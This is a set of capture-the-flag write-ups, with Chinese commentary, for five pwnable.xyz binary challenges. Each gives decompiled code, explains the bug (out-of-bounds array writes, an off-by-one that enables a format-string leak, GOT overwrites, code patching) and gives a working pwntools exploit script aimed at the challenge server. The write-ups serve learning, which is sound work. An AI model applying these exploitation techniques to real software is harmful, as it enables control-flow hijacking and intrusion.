misalignment
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 s[20]; // [rsp+10h] [rbp-A0h] BYREF
s[19] = __readfsqword(0x28u);
setup(argc, argv, envp);
memset(s, 0, 0x98uLL);
*(__int64 *)((char *)&s[1] + 7) = 3735928559LL;
while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &s[4], &s[5], &s[6]) == 3 && s[6] <= 9 && s[6] >= -7 )
{
s[s[6] + 7] = s[4] + s[5];
printf("Result: %ld\n", s[s[6] + 7]);
}
if ( *(__int64 *)((char *)&s[1] + 7) == 0xB000000B5LL )
win();
return 0;
}
因为64位系统, 按qword(8字节)对齐, 所以数组元素分两次写入, 达到检测条件*(__int64 *)((char *)&s[1] + 7) == 0xB000000B5LL
第一次写入0 0xB500000000000000 -6
第二次写入0 0x0B000000 -5
转为十进制
第一次写入0 -5404319552844595200 -6
第二次写入0 184549376 -5
from pwn import *
url, port = "svc.pwnable.xyz", 30003
filename = "./challenge"
elf = ELF(filename)
# libc = ELF("")
debug = False
if debug:
context.log_level="debug"
io = process(filename)
gdb.attach(io)
else:
io = remote(url, port)
io.sendline("0 -5404319552844595200 -6")
io.sendline("0 184549376 -5")
io.sendline("z")
io.interactive()
GrownUp
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *src; // [rsp+8h] [rbp-28h]
__int64 buf[4]; // [rsp+10h] [rbp-20h] BYREF
buf[3] = __readfsqword(0x28u);
setup(argc, argv, envp);
buf[0] = 0LL;
buf[1] = 0LL;
printf("Are you 18 years or older? [y/N]: ");
*((_BYTE *)buf + (int)(read(0, buf, 0x10uLL) - 1)) = 0;
if ( LOBYTE(buf[0]) != 121 && LOBYTE(buf[0]) != 89 )
return 0;
src = (char *)malloc(0x84uLL);
printf("Name: ");
read(0, src, 0x80uLL);
strcpy(usr, src);
printf("Welcome ");
printf(qword_601160, usr);
return 0;
}
strcpy(usr, src);
会在字符串末尾加’\x00’
注意到usr到qword_601160偏移为0x80, 多出来一个’\x00’可以覆盖qword_601160低位, 然后控制格式化字符串
利用格式化漏洞泄露服务器上真实的flag
研究一下payload构造, 首先需要修改qword_601160指针指向可控位置0x601100(本来qword_601160这个指针指向原格式化字符串, 这里通过strcpy函数在最后一个字符增加’\x00’这个漏洞, 溢出一个字节修改这个指针), 在这个可控位置构造格式化字符串触发格式化漏洞, 在本地调试找到距离flag的偏移, 然后泄露服务器上的flag
flag_addr = 0x601080
origin_fmtstr_addr = 0x601160
usr_addr = 0x6010E0
changed_fmtstr_addr = 0x601100
当offset设为8时, 可以得到本地flag
from pwn import *
url, port = "svc.pwnable.xyz", 30004
filename = "./GrownUpRedist"
# elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# gdb.attach(io)
else:
io = remote(url, port)
flag_addr = 0x601080
payload1 = b"y"*8 + p64(flag_addr)
io.sendafter("[y/N]: ", payload1)
offset = 8
payload2 = cyclic(4 * 8) + b"%p"*offset + b"%s"
payload2 = payload2.ljust(0x80, b'z')
io.sendafter("Name: ", payload2)
io.interactive()
卡点
写脚本时犯愚蠢操作
payload2.ljust(0x80, b'z')
应该是
payload2 = payload2.ljust(0x80, b'z')
note
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setup(argc, argv, envp);
puts("Note taking 101.");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_int32();
if ( v3 != 1 )
break;
edit_note();
}
if ( v3 != 2 )
break;
edit_desc();
}
if ( !v3 )
break;
puts("Invalid");
}
return 0;
}
int read_int32()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x20uLL);
return atoi(buf);
}
void edit_note()
{
int v0; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
printf("Note len? ");
v0 = read_int32();
buf = malloc(v0);
printf("note: ");
read(0, buf, v0);
strncpy(s, (const char *)buf, v0);
free(buf);
}
ssize_t edit_desc()
{
if ( !buf )
buf = malloc(0x20uLL);
printf("desc: ");
return read(0, buf, 0x20uLL);
}
通过edit_note
可以覆写buf指针, 如果传入0x28大小空间, 后8位传入got表地址, 就可以修改buf指针指向got表的一项, 然后利用edit_desc
修改got表项指向win()
, cat flag
from pwn import *
from pwnlib.util.cyclic import cyclic
url, port = "svc.pwnable.xyz", 30016
filename = "./challenge"
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# gdb.attach(io)
else:
io = remote(url, port)
def edit_note(size, note):
io.sendlineafter("> ", "1")
io.sendlineafter("Note len? ", str(size))
io.sendafter("note: ", note)
def edit_desc(content):
io.sendlineafter("> ", "2")
io.sendlineafter("desc: ", content)
win_addr = elf.sym['win']
atoi_got = elf.got['atoi']
payload = cyclic(0x20) + p64(atoi_got)
edit_note(0x28, payload)
edit_desc(p64(win_addr))
io.sendlineafter("> ", "")
io.interactive()
卡点
注意io的字符串, 不能超过read的限定大小, 下面这个例子是错误的
def edit_note(size, note):
io.sendlineafter("> ", "1")
io.sendlineafter("Note len? ", str(size))
io.sendlineafter("note: ", note)
这样用sendafter()
才行, 不能超过read的0x28个字符数, 这里卡了10min
def edit_note(size, note):
io.sendlineafter("> ", "1")
io.sendlineafter("Note len? ", str(size))
io.sendafter("note: ", note)
xor
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h] BYREF
__int64 v5; // [rsp+18h] [rbp-18h] BYREF
__int64 v6[2]; // [rsp+20h] [rbp-10h] BYREF
v6[1] = __readfsqword(0x28u);
puts("The Poopolator");
setup("The Poopolator", argv);
while ( 1 )
{
v6[0] = 0LL;
printf(format);
v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, v6);
if ( !v4 || !v5 || !v6[0] || v6[0] > 9 || v3 != 3 )
break;
result[v6[0]] = v5 ^ v4;
printf("Result: %ld\n", result[v6[0]]);
}
exit(1);
}
发现elf的地址空间rwx, 所以可以考虑修改elf程序
漏洞利用: 修改call exit
为call win
cat flag
虽然条件限制v6[0] > 9
会直接退出, 不过没限制不能是负数, 所以这里依然存在数组越界漏洞, 从result
数组往低地址越界到call exit
, 然后将call exit
赋值为1 ^ call win
的shellcode
用到的API
elf.asm(addr, code)
将elf文件中addr地址的代码修改为code的汇编代码
elf.read(addr, size)
将elf文件中addr地址处开始按size大小读取汇编代码
u64(shellcode)
将shellcode解码为整数
from pwn import *
url, port = "svc.pwnable.xyz", 30029
filename = "./challenge"
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# gdb.attach(io)
else:
io = remote(url, port)
result_addr = 0x202200
call_exit_addr = 0x0AC8
win_addr = 0x0A21
elf.asm(call_exit_addr, "call " + str(win_addr))
shellcode_num = elf.read(call_exit_addr, 5)
shellcode_num = shellcode_num.ljust(8, b'\x00')
shellcode_num = u64(shellcode_num)
offset = (call_exit_addr - result_addr) / 8
payload = "1 {} {}".format(shellcode_num, offset)
io.sendlineafter("> 💩 ", payload)
io.interactive()
two targets
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char s[32]; // [rsp+10h] [rbp-40h] BYREF
_QWORD v5[4]; // [rsp+30h] [rbp-20h] BYREF
v5[3] = __readfsqword(0x28u);
setup(argc, argv, envp);
memset(s, 0, 0x38uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_int32();
if ( v3 != 2 )
break;
printf("nationality: ");
__isoc99_scanf("%24s", v5);
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
printf("age: ");
__isoc99_scanf("%d", v5[2]);
}
else if ( v3 == 4 )
{
if ( (unsigned __int8)auth(s) )
win();
}
else
{
LABEL_14:
puts("Invalid");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
printf("name: ");
__isoc99_scanf("%32s", s);
}
}
}
通过auth(s)检测可以调用win(), 但是需要逆向auth()算法…
这里用pwn的方式调用win(), 看到__isoc99_scanf("%24s", v5);
输入24字节会覆盖到v5[2], 后面__isoc99_scanf("%d", v5[2]);
是对v5[2]进行写操作, 所以相当于存在任意地址写的逻辑漏洞, 既然如此通过修改一个函数的got表项为win函数地址即可cat flag
选择strncmp
函数, 再修改之后传入数字4即可触发auth中的strncmp(win
from pwn import *
from pwnlib.util.cyclic import cyclic
url, port = "svc.pwnable.xyz", 30031
filename = "./challenge"
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# gdb.attach(io)
else:
io = remote(url, port)
strncmp_got = elf.got['strncmp']
win_addr = elf.sym['win']
payload = cyclic(16) + p64(strncmp_got)
io.sendlineafter("> ", "2")
io.sendlineafter("nationality: ", payload)
io.sendlineafter("> ", "3")
io.sendlineafter("age: ", str(win_addr))
io.sendlineafter("> ", "4")
io.interactive()
如果修改的是输入输出的got表项会触发程序崩溃, 稳妥的方法为修改strncmp, 不影响正常程序流